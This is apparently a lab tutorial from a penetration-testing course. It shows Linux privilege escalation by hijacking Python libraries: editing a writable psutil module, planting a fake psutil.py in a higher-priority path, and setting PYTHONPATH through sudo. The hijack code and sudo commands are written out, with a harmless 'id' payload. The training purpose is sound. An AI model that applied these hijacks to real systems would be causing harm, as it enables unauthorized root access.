There are many ways in which we can hijack a Python library. Much depends on the script and its contents itself. However, there are three basic vulnerabilities where hijacking can be used:
- Wrong write permissions
- Library Path
- PYTHONPATH environment variable
Wrong Write Permissions
Python Script
ls -l mem_status.py
-rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.pyBy analyzing the permissions over the mem_status.py Python file, we understand that we can execute this script and we also have permission to view the script, and read its contents.
#!/usr/bin/env python3
import psutil
available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
print(f"Available memory: {round(available_memory, 2)}%")Module Permissions
grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.pyModule Contents
...SNIP...
def virtual_memory():
...SNIP...
global _TOTAL_PHYMEM
ret = _psplatform.virtual_memory()
# cached for later use in Process.memory_percent()
_TOTAL_PHYMEM = ret.total
return ret
...SNIP......SNIP...
def virtual_memory():
...SNIP...
#### Hijacking
import os
os.system('id')
global _TOTAL_PHYMEM
ret = _psplatform.virtual_memory()
# cached for later use in Process.memory_percent()
_TOTAL_PHYMEM = ret.total
return ret
...SNIP...sudo /usr/bin/python3 ./mem_status.pyLibrary Path
In Python, each version has a specified order in which libraries (modules) are searched and imported from. The order in which Python imports modules from are based on a priority system, meaning that paths higher on the list take priority over ones lower on the list. We can see this by issuing the following command:
PYTHONPATH Listing
python3 -c 'import sys; print("\n".join(sys.path))'
/usr/lib/python38.zip
/usr/lib/python3.8
/usr/lib/python3.8/lib-dynload
/usr/local/lib/python3.8/dist-packages
/usr/lib/python3/dist-packagesTo be able to use this variant, two prerequisites are necessary.
- The module that is imported by the script is located under one of the lower priority paths listed via the
PYTHONPATHvariable. - We must have write permissions to one of the paths having a higher priority on the list.
Psutil Default Installation Location
pip3 show psutil
...SNIP...
Location: /usr/local/lib/python3.8/dist-packagesFrom this example, we can see that psutil is installed in the following path: /usr/local/lib/python3.8/dist-packages. From our previous listing of the PYTHONPATH variable, we have a reasonable amount of directories to choose from to see if there might be any misconfigurations in the environment to allow us write access to any of them. Let us check.
Misconfigured Directory Permissions
ls -la /usr/lib/python3.8After checking all of the directories listed, it appears that /usr/lib/python3.8 path is misconfigured in a way to allow any user to write to it. Cross-checking with values from the PYTHONPATH variable, we can see that this path is higher on the list than the path in which psutil is installed in. Let us try abusing this misconfiguration to create our own psutil module containing our own malicious virtual_memory() function within the /usr/lib/python3.8 directory
Hijacked Module Contents - psutil.py
#!/usr/bin/env python3
import os
def virtual_memory():
os.system('id')In order to get to this point, we need to create a file called psutil.py containing the contents listed above in the previously mentioned directory. It is very important that we make sure that the module we create has the same name as the import as well as have the same function with the correct number of arguments passed to it as the function we are intending to hijack. This is critical as without either of these conditions being true, we will not be able perform this attack. After creating this file containing the example of our previous hijacking script, we have successfully prepped the system for exploitation.
Privilege Escalation via Hijacking Python Library Path
sudo /usr/bin/python3 mem_status.pyPYTHONPATH Environment Variable
PYTHONPATH is an environment variable that indicates what directory (or directories) Python can search for modules to import. This is important as if a user is allowed to manipulate and set this variable while running the python binary, they can effectively redirect Python’s search functionality to a user-defined location when it comes time to import modules. We can see if we have the permissions to set environment variables for the python binary by checking our sudo permissions:
sudo -l
Matching Defaults entries for htb-student on ACADEMY-LPENIX:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User htb-student may run the following commands on ACADEMY-LPENIX:
(ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3 It is important to note, that due to the trusted nature of sudo, any environment variables defined prior to calling the binary are not subject to any restrictions regarding being able to set environment variables on the system. This means that using the /usr/bin/python3 binary, we can effectively set any environment variables under the context of our running program. Let’s try to do so now using the psutil.py script from the last section.
Privilege Escalation using PYTHONPATH Environment Variable
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py